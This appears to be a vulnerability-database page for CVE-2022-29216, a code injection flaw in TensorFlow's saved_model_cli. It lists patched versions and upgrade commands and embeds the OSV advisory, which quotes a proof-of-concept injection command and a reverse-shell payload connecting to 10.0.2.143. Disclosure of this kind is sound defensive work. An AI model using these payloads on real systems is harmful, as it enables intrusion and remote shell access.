CVE-2022-29216: Tensorflow Code Injection Vulnerability
HIGHCVE-2022-29216 is a HIGH (CVSS 7.8) code injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Tensorflow libraries in the PyPI ecosystem. The issue involves code injection in `saved_model_cli` in tensorflow. Remediation is available by upgrading affected packages to version 2.6.4, 2.7.2, 2.8.1.
CVE-2022-29216 at a Glance
Security Impact
CVSS: 7.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2022-29216
To remediate this vulnerability, upgrade all affected Tensorflow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install tensorflow>=2.6.4
pip install tensorflow-cpu>=2.6.4
pip install tensorflow-gpu>=2.6.4
pip install tensorflow>=2.7.2
pip install tensorflow>=2.8.1
pip install tensorflow-cpu>=2.7.2
pip install tensorflow-cpu>=2.8.1
pip install tensorflow-gpu>=2.7.2
pip install tensorflow-gpu>=2.8.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show tensorflow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2022-29216, inspect your installed packages using pip:
pip show tensorflow
Analyze the terminal output to locate any version of Tensorflow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.6.4), your application is affected.
Note: The pip show tensorflow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Tensorflow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2022-29216 Affected Tensorflow Versions
9 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tensorflow
|
PyPI |
< 2.6.4
|
2.6.4
|
|
tensorflow-cpu
|
PyPI |
< 2.6.4
|
2.6.4
|
|
tensorflow-gpu
|
PyPI |
< 2.6.4
|
2.6.4
|
|
tensorflow
|
PyPI |
≥ 2.7.0
< 2.7.2
|
2.7.2
|
|
tensorflow
|
PyPI |
≥ 2.8.0
< 2.8.1
|
2.8.1
|
|
tensorflow-cpu
|
PyPI |
≥ 2.7.0
< 2.7.2
|
2.7.2
|
|
tensorflow-cpu
|
PyPI |
≥ 2.8.0
< 2.8.1
|
2.8.1
|
|
tensorflow-gpu
|
PyPI |
≥ 2.7.0
< 2.7.2
|
2.7.2
|
|
tensorflow-gpu
|
PyPI |
≥ 2.8.0
< 2.8.1
|
2.8.1
|
References
Frequently Asked Questions
What is CVE-2022-29216?
Which Tensorflow versions are affected?
What version fixes CVE-2022-29216?
Is tensorflow affected?
Is tensorflow-cpu affected?
What is the CVSS score of CVE-2022-29216?
What CWE is associated with CVE-2022-29216?
How can I check PyPI dependencies for CVE-2022-29216?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-75c9-jrh4-79mc",
"modified" : "2022-06-06T18:13:28Z",
"published" : "2022-05-24T22:16:48Z",
"aliases" : [ "CVE-2022-29216" ],
"summary" : "Code injection in `saved_model_cli` in TensorFlow",
"details" : "### Impact\nTensorFlow's `saved_model_cli` tool is vulnerable to a code injection:\n\n```\nsaved_model_cli run --input_exprs 'x=print(\"malicious code to run\")' --dir ./\n--tag_set serve --signature_def serving_default\n```\n\nThis can be used to open a reverse shell \n\n```\nsaved_model_cli run --input_exprs 'hello=exec(\"\"\"\\nimport socket\\nimport\nsubprocess\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\"10.0.2.143\",33419))\\nsubprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\"\"\")'\n--dir ./ --tag_set serve --signature_def serving_default\n```\n\nThis is because [the fix](https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7) for [CVE-2021-41228](https://nvd.nist.gov/vuln/detail/CVE-2021-41228) was incomplete. Under [certain code paths](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574) it still allows unsafe execution:\n\n```python\ndef preprocess_input_exprs_arg_string(input_exprs_str, safe=True):\n # ...\n\n for input_raw in filter(bool, input_exprs_str.split(';')):\n # ...\n if safe:\n # ...\n else:\n # ast.literal_eval does not work with numpy expressions\n input_dict[input_key] = eval(expr) # pylint: disable=eval-used\n return input_dict\n```\n\nThis code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.\n\nHowever, given that the tool is always run manually, the impact of this is still not severe. We have now removed the `safe=False` argument, so all parsing is done withough calling `eval`.\n\n### Patches\nWe have patched the issue in GitHub commit [c5da7af048611aa29e9382371f0aed5018516cac](https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.6.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-cpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.6.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-gpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.6.4"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.7.0"
}, {
"fixed" : "2.7.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.8.0"
}, {
"fixed" : "2.8.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-cpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.7.0"
}, {
"fixed" : "2.7.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-cpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.8.0"
}, {
"fixed" : "2.8.1"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-gpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.7.0"
}, {
"fixed" : "2.7.2"
} ]
} ]
}, {
"package" : {
"ecosystem" : "PyPI",
"name" : "tensorflow-gpu"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.8.0"
}, {
"fixed" : "2.8.1"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-29216"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/tensorflow/tensorflow"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/python/tools/saved_model_cli.py#L566-L574"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1"
}, {
"type" : "WEB",
"url" : "https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2022-05-24T22:16:48Z",
"nvd_published_at" : "2022-05-21T00:15:00Z"
}
}